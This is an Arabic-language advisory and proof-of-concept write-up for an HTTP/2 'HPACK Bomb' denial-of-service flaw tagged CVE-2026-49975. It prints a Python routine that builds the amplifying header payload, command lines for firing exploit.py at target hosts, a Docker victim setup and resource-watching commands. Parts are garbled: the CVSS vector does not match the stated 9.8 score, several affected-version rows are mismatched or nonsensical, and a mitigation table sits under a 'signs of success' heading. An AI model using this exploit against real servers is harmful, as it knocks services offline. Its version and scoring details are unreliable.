
CVE-2026-49975 هي ثغرة رفض خدمة (DoS) حرجة في تطبيقات خوادم HTTP/2 والوكلاء. الهجوم، الملقب بـ "HTTP/2 Bomb" أو "HPACK Bomb"، يستغل سلوكين على مستوى التصميم في بروتوكول HTTP/2 لإجبار الهدف على استهلاك ذاكرة غير محدود (OOM) واستنزاف المعالج:
درجة CVSS 3.1 الأساسية: 9.8 (حرجة)
المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
يكون الهجوم أكثر فعالية عندما تكمل المرحلتان بعضهما البعض، لكن كل مرحلة بمفردها كافية ضد بعض التطبيقات.
يستخدم ضغط ترويسات HPACK في HTTP/2 جدولًا ديناميكيًا متطورًا. بمجرد إدراج ترويسة كوكيز كبيرة في الجدول (عبر Literal+Incremental Encoding)، يمكن للمهاجم الإشارة إلى هذا الإدخال باستخدام كود عملية من بايت واحد. تؤدي المراجع المتكررة إلى قيام مفكك الترميز بإعادة بناء الترويسة نفسها مرارًا وتكرارًا.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
يمكن أن تتوسع حزمة بحجم 5 كيلوبايت إلى مئات الميغابايت من الحمولة المفكوكة.
تجبر رسالة SETTINGS التي تحتوي على INITIAL_WINDOW_SIZE=0 الضحية على وضع جميع بيانات HEADERS/الاستمرار في قائمة انتظار. يقوم المهاجم بتسريب إطارات WINDOW_UPDATE ببطء. تظل المخازن المؤقتة ممتلئة بشكل اندماجي.
| الآلية | عامل التضخيم |
|---|---|
| جسم HEADERS الخام | 1x |
| تضخم مراجع HPACK | 20–80x |
| + التدفقات المتزامنة | 100–500x |
| + تباطؤ النافذة | 1000x+ |
راجع إدخال CVE الخاص بموردك للحصول على الحدود الدقيقة.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker لإعداد ضحية سريعة:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
النص البرمجي المرافق هو exploit.py.
الروتين الأساسي:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
ينفذ النص البرمجي ما يلي:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
راقب موارد الضحية:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
علامات نجاح الهجوم:
| النهج | الإعداد |
|---|---|
| تحديد عدد الترويسات لكل تدفق | MaxHeaderCount 500 |
هذه المعلومات مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. لا تقم بتشغيلها إلا ضد أنظمة تملكها أو لديك إذن كتابي لاختبارها.
| البائع / المشروع | الإصدار | الوصف |
|---|
| Apache mod_http2 | < 2.0.13 | نفاد الذاكرة (OOM) عند تضخم المراجع المفهرسة |
| nghttp2 | < 1.62.0 | تضخم ذاكرة غير محدود |
| h2o | < 4.0.2 | حلقة لا نهائية في مفكك الترميز |
| Node.js http2 crate | < 1.12.0 | توسع جوهري في nghttp2-rs |
| Go net/http (h2) | < 1.24 | تعليق goroutine + تخصيص OSL |
| Apache Traffic Server | < 9.3.0 | نفاد الذاكرة عبر مخزن مؤقت داخلي |
| HAProxy h2 | < 2.9 | تعطل عند AVP ضخم |
| Envoy | < 1.30 | تخصيص ضخم في التحكم بالتدفق |
| Rust hyper/h2 crate | < 5.14 | انهيار (panic) عند تجاوز SK |
| رفض انخفاض الضغط | عتبة النسبة < 5 |
| تقييد نمو HPACK | تحديد الجدول الديناميكي إلى 1 كيلوبايت |
| ذاكرة لكل اتصال | رفض بعد N ميجابايت |
| تحديد المعدل | عام conn/s، req/s |